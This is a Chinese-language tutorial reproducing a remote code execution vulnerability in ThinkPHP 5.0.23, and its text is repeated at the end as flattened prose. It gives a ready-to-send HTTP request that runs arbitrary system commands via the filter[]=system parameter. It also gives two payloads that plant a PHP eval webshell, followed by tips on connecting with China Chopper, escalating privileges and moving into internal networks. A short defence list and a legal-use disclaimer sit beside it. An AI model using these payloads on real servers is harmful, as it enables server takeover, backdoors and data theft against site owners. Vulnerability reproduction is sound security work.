ThinkPHP 5.0.23 远程代码执行漏洞复现
字数 594 2025-08-15 21:32:35

ThinkPHP 5.0.23 远程代码执行漏洞复现教程

漏洞概述

ThinkPHP 5.0.23版本存在一个远程代码执行漏洞,攻击者可以通过构造特定的HTTP请求,利用框架的输入过滤机制缺陷执行任意系统命令。

环境搭建

使用Docker搭建漏洞环境

  1. 确保已安装Docker环境
  2. 拉取并运行漏洞环境容器
  3. 访问搭建好的环境页面确认服务正常运行

漏洞利用方法

1. 执行系统命令POC

POST /index.php?s=captcha HTTP/1.1
Host: 目标IP:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=要执行的命令

参数说明:

  • _method=__construct: 调用控制器构造方法
  • filter[]=system: 设置过滤函数为system
  • method=get: 设置请求方法
  • server[REQUEST_METHOD]=命令: 要执行的系统命令

2. 写入Webshell

修改请求中的命令部分,使用echo或file_put_contents写入一句话木马:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['cmd']);?>" > shell.php

或使用PHP代码:

_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>')

防御措施

  1. 升级ThinkPHP到最新版本
  2. 对用户输入进行严格过滤
  3. 禁用危险函数如system、exec等
  4. 部署WAF防护

注意事项

  1. 此漏洞利用仅用于合法授权测试
  2. 实际测试时需替换目标IP和端口
  3. 命令执行结果会直接返回在响应中
  4. 写入webshell后可通过中国菜刀等工具连接

扩展利用

  1. 可结合其他漏洞进行提权
  2. 可尝试获取数据库连接信息
  3. 可进行内网渗透测试

请确保在合法授权范围内进行测试,遵守网络安全法律法规。

ThinkPHP 5.0.23 远程代码执行漏洞复现教程 漏洞概述 ThinkPHP 5.0.23版本存在一个远程代码执行漏洞,攻击者可以通过构造特定的HTTP请求,利用框架的输入过滤机制缺陷执行任意系统命令。 环境搭建 使用Docker搭建漏洞环境 确保已安装Docker环境 拉取并运行漏洞环境容器 访问搭建好的环境页面确认服务正常运行 漏洞利用方法 1. 执行系统命令POC 参数说明 : _method=__construct : 调用控制器构造方法 filter[]=system : 设置过滤函数为system method=get : 设置请求方法 server[REQUEST_METHOD]=命令 : 要执行的系统命令 2. 写入Webshell 修改请求中的命令部分,使用echo或file_ put_ contents写入一句话木马: 或使用PHP代码: 防御措施 升级ThinkPHP到最新版本 对用户输入进行严格过滤 禁用危险函数如system、exec等 部署WAF防护 注意事项 此漏洞利用仅用于合法授权测试 实际测试时需替换目标IP和端口 命令执行结果会直接返回在响应中 写入webshell后可通过中国菜刀等工具连接 扩展利用 可结合其他漏洞进行提权 可尝试获取数据库连接信息 可进行内网渗透测试 请确保在合法授权范围内进行测试,遵守网络安全法律法规。